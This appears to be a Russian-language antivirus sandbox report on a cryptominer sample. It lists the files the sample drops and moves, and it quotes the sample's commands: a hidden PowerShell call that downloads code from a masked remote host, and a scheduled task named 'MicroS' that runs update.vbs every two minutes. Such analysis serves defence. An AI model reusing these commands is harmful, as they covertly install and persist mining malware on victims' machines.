Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\micros
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\gminer\miner\1.0.0.0\xsandbox.bin.__tmp__
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\manifests\miner.exe_0x7d9d9e6968918433b08cd4a171469864.1.manifest.__tmp__
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\manifests\shim.dll_0x42cba1124bfb09c2af6852de6324763c.2.manifest.__tmp__
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\manifests\shim2.dll_0xe9e0c217590ca6af6c0fcad51abea8a8.2.manifest.__tmp__
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\miner.exe\miner.exe.manifest.__tmp__
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\shim.dll\shim.dll.manifest.__tmp__
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\shim2.dll\shim2.dll.manifest.__tmp__
- %LOCALAPPDATA%\gminer\miner\1.0.0.0\local\stubexe\0xd8e40ece28dbeeb9\miner.exe.__tmp__
- %LOCALAPPDATA%\gminer\miner\1.0.0.0\local\stubexe\0xd8e40ece28dbeeb9\miner.exe.manifest.__tmp__
Перемещает следующие файлы
- %LOCALAPPDATA%\gminer\miner\1.0.0.0\xsandbox.bin.__tmp__ в %LOCALAPPDATA%\gminer\miner\1.0.0.0\xsandbox.bin
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\manifests\miner.exe_0x7d9d9e6968918433b08cd4a171469864.1.manifest.__tmp__ в %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\manifests\miner.exe_0x7d9d9e6968918433b08cd4a171469864.1.manifest
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\manifests\shim.dll_0x42cba1124bfb09c2af6852de6324763c.2.manifest.__tmp__ в %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\manifests\shim.dll_0x42cba1124bfb09c2af6852de6324763c.2.manifest
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\manifests\shim2.dll_0xe9e0c217590ca6af6c0fcad51abea8a8.2.manifest.__tmp__ в %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\manifests\shim2.dll_0xe9e0c217590ca6af6c0fcad51abea8a8.2.manifest
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\miner.exe\miner.exe.manifest.__tmp__ в %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\miner.exe\miner.exe.manifest
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\shim.dll\shim.dll.manifest.__tmp__ в %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\shim.dll\shim.dll.manifest
- %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\shim2.dll\shim2.dll.manifest.__tmp__ в %TEMP%\spoon\cache\0xf4a45d577bfee78c\sxs\shim2.dll\shim2.dll.manifest
- %LOCALAPPDATA%\gminer\miner\1.0.0.0\local\stubexe\0xd8e40ece28dbeeb9\miner.exe.__tmp__ в %LOCALAPPDATA%\gminer\miner\1.0.0.0\local\stubexe\0xd8e40ece28dbeeb9\miner.exe
- %LOCALAPPDATA%\gminer\miner\1.0.0.0\local\stubexe\0xd8e40ece28dbeeb9\miner.exe.manifest.__tmp__ в %LOCALAPPDATA%\gminer\miner\1.0.0.0\local\stubexe\0xd8e40ece28dbeeb9\miner.exe.manifest
Другое
Создает и запускает на исполнение
- '%LOCALAPPDATA%\gminer\miner\1.0.0.0\local\stubexe\0xd8e40ece28dbeeb9\miner.exe' /864A627C-C6B2-464A-AA13-25D62F282BD8
- '<SYSTEM32>\cmd.exe' /c start /B powershell -windowstyle hidden if (Test-Path -Path "$env:APPDATA\MicrosoftSys"){Write-Host "The given folder exists." Exit } else { mkdir "$env:APPDATA\MicrosoftSys";Invoke-WebReque...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c start /B powershell -windowstyle hidden if (Test-Path -Path "$env:APPDATA\MicrosoftSys"){Write-Host "The given folder exists." Exit } else { mkdir "$env:APPDATA\MicrosoftSys";Invoke-WebReque...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden if (Test-Path -Path "$env:APPDATA\MicrosoftSys"){Write-Host "The given folder exists." Exit } else { mkdir "$env:APPDATA\MicrosoftSys";Invoke-WebRequest -Uri "http://ti###.n...
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 2 /tn MicroS /tr %APPDATA%\MicrosoftSys\update.vbs
